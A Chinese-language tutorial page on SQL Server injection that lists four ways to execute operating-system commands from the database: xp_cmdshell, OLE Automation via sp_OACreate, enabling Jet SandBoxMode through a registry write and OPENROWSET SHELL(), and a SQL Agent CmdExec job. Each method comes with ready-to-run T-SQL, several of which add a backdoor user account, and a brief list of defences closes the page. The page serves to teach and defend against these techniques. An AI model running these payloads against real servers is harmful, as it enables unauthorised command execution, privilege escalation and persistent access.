首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊大全與防禦實戰 (1) — 系統命令執行四大手法

     編輯:關於SqlServer

背景

SQL Server 支援多語句執行,攻擊者偏好利用系統預存程序/函數快速提權,而非盲目猜表名。

一、xp_cmdshell 直接執行

EXEC master..xp_cmdshell 'NET USER ray ray /ADD';
  • 預設僅 sysadmin 角色可執行
  • 最直接、最常見的提權向量

二、OLE Automation 間接執行

DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'NET USER ray ray /ADD';
  • 利用 sp_OACreate/sp_OAMethod 呼叫 COM 物件
  • 繞過 xp_cmdshell 被刪除/停用的限制

三、Jet Sandbox Mode 繞過

-- 1. 修改註冊表開啟 Sandbox Mode
EXEC master.dbo.xp_regwrite
  'HKEY_LOCAL_MACHINE',
  'Software\Microsoft\Jet\4.0\Engines',
  'SandBoxMode', 'REG_DWORD', 0;

-- 2. 利用 OPENROWSET 執行 Jet Shell 命令
SELECT * FROM OPENROWSET(
  'Microsoft.Jet.OLEDB.4.0',
  ';Database=C:\Windows\System32\ias\ias.mdb',
  'SELECT SHELL("NET USER ray ray /ADD")'
);
  • 預設 Jet 引擎禁止 SHELL(),開啟 Sandbox 後可執行
  • 利用系統自帶 ias.mdb 作為載體

四、SQL Agent Job 彈性執行

-- 1. 啟動 SQL Server Agent
EXEC master.dbo.xp_servicecontrol 'START', 'SQLSERVERAGENT';

-- 2. 建立並立即執行 CmdExec 步驟作業
USE msdb;
EXEC sp_delete_job @job_name = 'x';
EXEC sp_add_job @job_name = 'x';
EXEC sp_add_jobstep @job_name = 'x', @step_name = 'x', @subsystem = 'CMDEXEC',
    @command = 'CMD /C DIR C:\';
EXEC sp_add_jobserver @job_name = 'x', @server_name = @@SERVERNAME;
EXEC sp_start_job 'x';
  • 預設 Agent 服務關閉,需先啟動
  • 利用 CMDEXEC 子系統執行任意命令

防禦核心

  1. 移除/停用 xp_cmdshell、sp_OA*、xp_regwrite、xp_servicecontrol 等高危擴展
  2. 嚴格控制 sysadmin 角色成員
  3. 禁用 SQL Agent 或限制 CMDEXEC 代理帳號權限
  4. 參數化查詢杜絕注入入口
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved